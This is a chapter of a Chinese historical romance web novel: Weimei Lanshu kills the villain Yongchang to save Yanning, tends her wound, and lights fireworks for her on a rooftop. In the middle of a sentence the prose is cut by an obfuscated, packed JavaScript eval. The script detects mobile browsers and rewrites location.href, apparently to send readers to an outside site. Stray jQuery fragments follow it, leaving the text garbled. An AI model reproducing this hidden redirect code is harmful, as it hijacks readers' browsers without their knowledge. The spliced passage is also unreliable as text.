38. 云锦

作品:《君子渡我

    第38章


    就在永昌将要手起刀落时,利箭破空迅疾而来,夺一声响,羽箭准确无误地穿透永昌的腰部。


    震耳欲聋的马蹄声由远及近,以不可阻挡之势奔涌而来,扬起的尘土滚滚涌动。


    雁宁瞧着眼前的一幕,石化般愣在原地,她的瞳孔猛缩了下,瞪圆了眼睛,嘴巴无意识地微张。


    永昌喉咙里难以遏制地发出痛苦的呻.吟,她缓缓低下眸子,难以置信地看了眼从身后穿透而出的箭头,侵浸鲜血的衣裳不停地往地上淌落着血滴。


    下一刻她便重重地往后倒去,最后看向雁宁的眼神满是痛苦和悔恨。


    空气中弥漫着一股子浓重的血腥味儿,随着他的动作继续,匪徒们毫无招架之力,只能一个接着一个倒下。


    雁宁掀起眼帘,朝射箭之人的方向看去,只见魏兰殊端坐在白驹上,大氅上雪白狐狸毛迎风摇曳,乌发仅用雪色丝带随意绑着,没有束冠也没有插簪,整个人丰神俊朗中透着与生俱来的高贵。


    微风飘来,他额前有几缕发丝被风吹散,和那根丝带交织在一起飞舞,显得颇为轻盈。


    擒住她肩膀的两个匪徒就倒在她身旁,她不敢动弹,更不敢开口说话。


    雁宁的发髻散乱,眼睛红肿,一颗泪珠顺着面颊落下,滴落在自己的手背上。


    他向来进退有度,极少动怒,也未曾杀过人,可此时却彻底沉下了脸,声色紧绷,眸若寒冰。


    下一刻,郎君扶住她的腰肢,按进自己的怀里,力道不算轻,他轻声开口,漆黑的瞳孔中尽是压抑的怒气:“别怕,我来了。”


    雁宁的嘴唇却抿得紧紧的,倔强地强忍住泪水,拼命把呜咽声压下去:“我没事。”


    她看了眼地上的永昌,紧紧蹙眉道:“你杀了永昌,她可是太尉之女。”


    “太尉之女又如何。”魏兰殊斩钉截铁道,眼底尽是寒芒:“她想害我家细君,我便杀了她。”


    雁宁如今不知该如何接话,她只觉得魏兰殊像换了个人似的,杀起人来不眨眼,更不会手软,最好能一招致命。


    而他已然注意到了雁宁鬓角处触目惊心的伤口,他白皙修长的手骨节凸起,抚了抚她的面颊,下颌线紧紧绷着,腮帮似有微动,温声问道:“这是她干的?”


    雁宁并未作声,只是点了点头。


    魏兰殊几乎瞬间变脸,没半点表情,他的眸色带着浓重的戾气瞥向永昌,看着面前的人就像是在看一团烂肉。


    他深沉如墨的眸子像是即将要捡起狂风暴雨:“细君放心,她既然敢伤你,便也不怕承担任何后果。”


    “君子要做什么?”雁宁的声音如玉石撞击,她凑近了他,柔柔的声音在他耳畔响起。


    魏兰殊唇角的笑意驱散了周边的寒意和幽暗,轻声回道:“没什么。”


    他动作轻柔地替她理了理碎发,目光专注,嗓音十分温柔:“走吧,这儿自会有人清理。”


    雁宁乖巧地颔首微笑。


    马车外悬挂的铃铛随着飘渺的风声传来,春雨乍停,寒风将丝绸所织的纱帘掀起,拂过郎君精瘦的臂膀。


    雁宁清清明明的眼睛盯着他,忽然开口:“我只是个引子。”


    这样不合时宜的话打破了这份沉静。


    “嗯?”魏兰殊微侧着头,垂眸看着她,薄唇挑起浅浅的弧度。


    雁宁抿了抿唇,继续道:“永昌不会这样做,那些人真正的目标是君子,他们想利用我从而引出你,因为他们知道,若是我遇险,你定会毫无防备地来救我,所以他们的幕后指使者另有他人。”


    魏兰殊轻轻捏了下雁宁脸上的肉,直夸道:“我的女郎就是聪明。”


    “你猜出来了?”雁宁没管他的动作,再次凝望来时,眼睛里泛着淡淡的水色,眼角眉梢都流露出毫不掩饰的惊喜之情。


    不知是不是雁宁的错觉。


    魏兰殊的神色平静,显得镇定自若,舒展的眉头竟流露出久经风霜雨雪后的成熟稳重之色:“细君放心,他们动不了我一根汗毛,暂且不论这一点。”


    他温润地安抚着雁宁:“你若遇险,就算前方有多么大的危险,我都会毫不顾忌地来救你。”


    “真是个傻瓜。”雁宁含笑柔声道。


    魏兰殊将唇角笑意收敛,神情十分认真:“往后,你要去哪儿我都会陪着你,定不叫你再次陷入此等危险之境地。”


    雁宁却是担心道:“可是你这样怕是会惹的太尉府不悦。”


    他叹息一声,看了眼雁宁的伤口,自责道:“细君竟还有心思担心我?此事皆是因我而起,回府我替你擦药。”


    雁宁有些抗拒:“中途离席,可是舞马场那边该如何交待?”


    “细君大可放心,王上断不会责怪你我。”魏兰殊扶着雁宁下马车,又替她理了理裙裾。


    “不是……”她居然还想着回到东郊舞马场。


    雁宁话还未说完,下一刻便被他打横抱起,她下意识高喊出声,双手猝不及防地攀在他脖颈上,两人贴的很近,几乎要融在一起。


    “这样怕是不妥,先放我下来,我能自己走。”雁宁说着便想下去。


    魏兰殊却是当作没听见,声音淡淡的,听不出起伏:“别动。”


    *


    长信宫灯将夜色映得一片柔暖。


    魏兰殊手里拿着药膏,缓步迈入屋内。


    铜镜前,雁宁理好了发髻,发觉他回来,便起身朝外走去,丁香色的裙角如水般从门槛滑落,身后的影子被拉长。


    她看着他,温声含笑道:“其实不用君子亲自去的,我有擦伤祛疤的药膏。”


    魏兰殊眸色微暗,烛火之下,他细腻的肌肤像镀上了一层朦胧的光。


    “你的药膏固然是好的,自家君子怕什么?”


    她的笑容宛如春日里绽放的花朵:“那便劳烦君子了。”


    魏兰殊打开芙蓉白玉药盒,用指尖沾了一些,随即缓缓抬起手,动作极为轻地抹在她伤口之处。


    冰凉的触觉让雁宁深呼吸,不觉紧张起来。


    “很疼吗?”魏兰殊轻轻吹了一下她的伤口,眸中满是愧疚。


    雁宁晃了晃脑袋,红润的唇瓣轻启:“不疼的。”


    他闻言,这才放下心来,继续手里的动作。


    许是魏兰殊方才跑过来太急,屋里也闷得慌,让一个血气方刚的郎君额间不觉冒出一层细汗。


    她仰起下巴,只见他额间的汗珠滑落至骨骼分明的下颌。


    雁宁见状,强装镇定地梗着脖子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023953|177866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,抬手用袖子轻轻替他擦去下颌的汗珠。


    魏兰殊手上的动作顿住,只见眼前的姑娘一张脸绯红绯红的,像是醉酒了一般,双眸泛光,轻而易举就能撩拨。


    他并未作声,默默地将眼神收回,继续手里的动作。


    抹完药,魏兰殊垂眸看了眼雁宁,才发觉她如今面上微微拢起眉头,好像不太开心。


    他没有特意问起这件事,而是将乌眸飘向窗棂外的景色,淡淡道:“外面很美,我带你去看看吧。”


    “不用。”雁宁想都没想便拒绝他。


    她眉眼染上了一丝悲楚:“月色固然美,但看多了,便觉着有些腻。”


    魏兰殊不知她从前遇到了怎样的伤心事,他想若是此刻不合时宜地去问,便是再次揭开她的伤疤。


    “我带你看些不一样的。”他说着,便起身拉过雁宁的手腕,迈着轻快的步伐将她带了出去。


    雁宁眼里多了一份探究的意味:“君子要带我看些什么?”


    魏兰殊并未出声回应她,随后忽然搂过雁宁的腰肢,脚尖在地上使力一点,身子轻盈一纵,轻飘飘地落在屋顶的瓦楞上,稳稳而立,衣袂翩然飞舞,在风中猎猎作响。


    雁宁心尖蓦地一颤,双手及时勾住他的脖颈,整个身子瞬间紧贴在他身上。


    待两人坐定,雁宁才慢慢松开他。


    月色清霜照在两人面庞上,一片岁月静好,她真的好想就像如今这样,有爱人陪伴的岁月便是最好的。


    魏兰殊突然从身后拿出几支手持云锦,随即用火折子点燃。


    “噼噼啪啪”的声音划开夜幕短暂的宁静,一簇一簇的小火花像是天边浅浅的星辰,一下子绽放在她眼前。


    雁宁从未见过这样的景象,她眼里闪过错愕之意,眼眸里都是如星辰般绚丽的焰火。


    两人的距离不过寥寥,随着他的低头,雁宁精致明媚的侧颜钻入自己的视线,她之前的愁容已然如烟飘散,梨涡里漾着藏都藏不住的笑意。


    雁宁抬眼,冲他浅浅一笑道:“真好看,我还是头一次见这样的焰火,它可有名字?”


    魏兰殊深深地望着她,温声回了句:“它名唤手持云锦,源于大燕。”


    夜色下,青年的目光澄澈如秋水,不动声色的面庞上,永远挂着一副恭谨谦逊的样子,至少在她面前是这样的。


    雁宁有些微微怔住,耳边是微弱的风声,这一刻对她而言,眼前所发生的一切于她有些虚幻。


    许是落雨的缘故,空气中氤氲着湿气,连带着她那双眼睛也染上了些湿意。


    她仰起脑袋,柔柔地看着他道:“你往后还会像如今这般一直陪着我吗?”


    他直视前方,深沉的目光显得遥远,仿佛被浓雾深锁的潭水,只道:“我会。”


    “那君子答应我,莫要从军。”雁宁微蹙着眉头,紧紧盯着眼前之人。


    她很自私,却也不想失去他。


    沉吟片刻,魏兰殊终于还是开口:“我答应你。”


    雁宁笑起来,双手捧着他的脸,凑近去亲了亲他的眼睛。


    温热的气息轻扑在她的耳垂上,周身又被她身上淡淡的清香拢住。


    魏兰殊此刻像是着迷一样,她总是轻而易举地便能让他意乱神迷。